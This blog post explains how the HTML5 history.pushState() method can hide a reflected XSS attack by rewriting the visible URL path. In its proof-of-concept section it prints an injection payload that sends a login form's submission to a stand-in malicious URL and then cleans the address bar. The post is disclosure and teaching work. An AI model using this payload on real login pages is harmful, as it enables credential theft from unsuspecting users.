I was playing around with window.history object. In general, it’s quite limited and can be considered rather useless. However, HTML5 brings some new methods to History object in order to make it more powerful. In this article I will take a quick glance on a quite peculiar method called pushState(). There is one security related issue I want to point out, which I’m considering rather harmful.

history.pushState()

history.pushState() was introduced in HTML5 and it’s meant for modifying history entries.

By using pushState() we’re allowed to alter the visible URL in address bar without reloading the document itself. Sounds a bit risky, doesn’t it?

The Harmful Part

The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can’t be replaced, we can completely change the pathname.

So, I made a brief PoC about hiding a non-persistent XSS exploit. It’s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.

Proof of Concept

This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.

pushState() works properly also in Safari 5, but it’s security control refuses to load external scripts or execute injected scripts.

I’ll inject some malicious code via query parameter: ?username=”><script>(history.pushState({},”,’index.php’))(document.forms[0].action=’http://maliciousURL’)</script>

As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): http://bit.ly/pushStateXSS.

Just visit this URL to see how pushState() behaves and what is shown in address bar.

Conclusion

Can this be considered as a security flaw? – Definitely yes.

How it should be fixed? – There should be a property, eg. history.allowPushState which would be set to false by default. And website developers could explicitly set it to true while being aware of the risks. Edit: I’ve received some feedback about this. And you’re right – this wouldn’t fix anything since it could be set to true in injection. I wasn’t thinking this thoroughly :).

Note: I’m taking advantage of this technique in my //bit.ly/xss_1, which I use for pointing out the XSS vulnerabilities for website administrators. It just removes everything after “?” from the URL in address bar.